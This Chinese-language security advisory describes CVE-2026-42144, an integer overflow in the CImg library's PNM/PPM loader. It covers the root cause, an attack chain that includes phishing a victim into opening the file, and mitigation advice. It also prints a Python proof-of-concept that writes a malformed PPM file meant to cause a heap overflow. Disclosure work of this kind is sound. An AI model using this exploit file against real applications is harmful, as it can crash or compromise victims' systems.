IPBUF安全漏洞报告
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CVE-2026-42144 CVSS 6.1 中危

CVE-2026-42144 CImg库整数溢出漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42144
漏洞类型
整数溢出
CVSS评分
6.1 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
CImg Library

相关标签

整数溢出堆缓冲区溢出CImg图像处理拒绝服务

漏洞概述

CImg是一个流行的C++图像处理库。在commit 4ca26bc之前的版本中,该库存在一个整数溢出漏洞,影响PNM、PGM及PPM图像文件的解析。漏洞发生在`_load_pnm()`函数内部的尺寸计算逻辑中,具体涉及图像宽度、高度和深度的乘积运算(W*H*D)。攻击者可以构造包含恶意维度数值的特制图像文件,导致计算结果发生整数回绕,从而绕过内存分配的防护机制。这使得程序仅分配极小的缓冲区,却尝试写入远超缓冲区大小的数据,进而引发堆缓冲区溢出。任何使用CImg库处理不可信图像文件的应用程序均受此漏洞影响,可能导致应用程序崩溃或潜在的代码执行。

技术细节

该漏洞的根本原因在于CImg库在计算图像数据所需内存大小时,未能正确处理整数边界条件。在`_load_pnm()`函数中,程序读取图像头部的宽(W)、高(H)和深(D)参数,并计算`W*H*D`以确定`malloc`分配的大小。由于使用的数据类型(通常是32位有符号整数)有最大值限制,当输入的维度值极大时,乘积会超过该限制并发生溢出,回绕成一个非预期的小整数(甚至为零)。例如,若计算结果溢出,程序可能只分配几个字节的空间。然而,后续的文件读取循环仍然依据原始的巨大维度值进行数据拷贝。这种分配大小与实际写入大小的不匹配,导致堆内存结构被破坏(Heap Buffer Overflow)。虽然攻击向量被标记为本地(AV:L)且需要用户交互(UI:R),但一旦用户打开恶意文件,即可触发漏洞,造成高可用性影响(A:H)。

攻击链分析

STEP 1
步骤1:恶意文件构造
攻击者创建一个特制的PNM/PGM/PPM图像文件,其中包含极大的宽度和高度数值,使得W*H*D的计算结果超过整数上限。
STEP 2
步骤2:社会工程学诱导
攻击者通过钓鱼邮件或其他方式,诱导受害者使用包含漏洞CImg库的应用程序打开该恶意图像文件。
STEP 3
步骤3:解析与计算溢出
应用程序调用`_load_pnm()`函数解析文件,计算内存大小时发生整数溢出,导致系统仅分配极小的内存缓冲区。
STEP 4
步骤4:堆缓冲区溢出
程序继续按照原始的巨大维度读取图像数据,并将数据写入过小的缓冲区,导致堆内存破坏。
STEP 5
步骤5:影响实现
触发应用程序崩溃(拒绝服务),或在特定条件下利用堆破坏实现任意代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-42144 PoC Generator for CImg Integer Overflow # This script generates a malicious PPM (P6) file designed to trigger # an integer overflow in the _load_pnm() function of CImg. import struct def generate_malicious_pnm(filename): """ Generates a PPM file with dimensions that cause W*H*D to overflow. Target: CImg Library < commit 4ca26bc """ # PPM P6 format header: "P6 <width> <height> 255\n" # We use dimensions that multiply to a value > 2^31 - 1 (Max Signed Int) # causing a wrap-around to a small positive integer. width = 0x10000 # 65536 height = 0x10000 # 65536 # Calculation: 65536 * 65536 = 4294967296 (2^32) # If stored in a signed 32-bit int, this overflows. # Depending on implementation details, this may result in 0 or a small number. # CImg allocates based on this small number, but reads based on the huge dimensions. header = f"P6 {width} {height} 255\n" # Write some dummy pixel data (R, G, B) # The file doesn't need to be 4GB in size to trigger the crash during allocation/read logic mismatch, # but providing some data ensures the parser attempts to read. data = b"\x00\x00\x00" * 100 with open(filename, "wb") as f: f.write(header.encode('ascii')) f.write(data) print(f"[+] Malicious PNM file generated: {filename}") print(f"[+] Dimensions: {width}x{height}") print(f"[!] Load this file in a vulnerable CImg application to trigger the heap overflow.") if __name__ == "__main__": generate_malicious_pnm("cve-2026-42144-exploit.ppm")

影响范围

CImg Library < v.3.7.5

防御指南

临时缓解措施
如果无法立即升级,建议在应用程序层面实施严格的输入验证。在调用CImg加载图像之前,预先检查图像文件的头部信息,限制允许的最大宽度和高度,拒绝处理异常超大尺寸的图像文件。同时,避免处理来自不可信来源的图像数据。

参考链接

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